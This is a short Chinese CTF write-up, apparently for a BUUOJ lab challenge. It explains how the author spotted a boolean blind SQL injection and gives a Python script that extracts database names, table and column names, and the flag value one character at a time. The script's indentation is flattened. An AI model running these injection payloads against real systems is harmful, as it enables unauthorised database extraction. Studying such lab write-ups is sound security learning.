这道题一个查询框只能查1-4,扫没有发现其他功能,多半注入题
输入4之后的数字全是这个报错,几乎确定是盲注了,而且有回显只能是布尔型盲注
掏出我82年的脚本来,注入题还是得脚本快
import requests
import time
url = "http://9de3afe4-e41b-49fc-9e9d-041f3c21af69.node5.buuoj.cn:81/?stunum="
temp = {"stunum": ""}
column = ""
for i in range(1, 1000):
time.sleep(0.06)
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
# 当前库名
#temp["stunum"] = "1^(ascii(substr((select(database())),%d,1))>%d)^1" % (i, mid)
# 库名
#temp["stunum"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
# 表名
#temp["stunum"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)+"--"
# 字段名
#temp["stunum"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)^1" %(i,mid)
# 内容
temp["stunum"] = "1^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1" %(i,mid)
r = requests.get(url, params=temp)
time.sleep(0.04)
print(low, high, mid, ":")
if "Hi admin, your score is: 100" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 127):
break
column += chr(mid)
print(column)
print("All:", column)
flag在flag表的value里面
一把嗦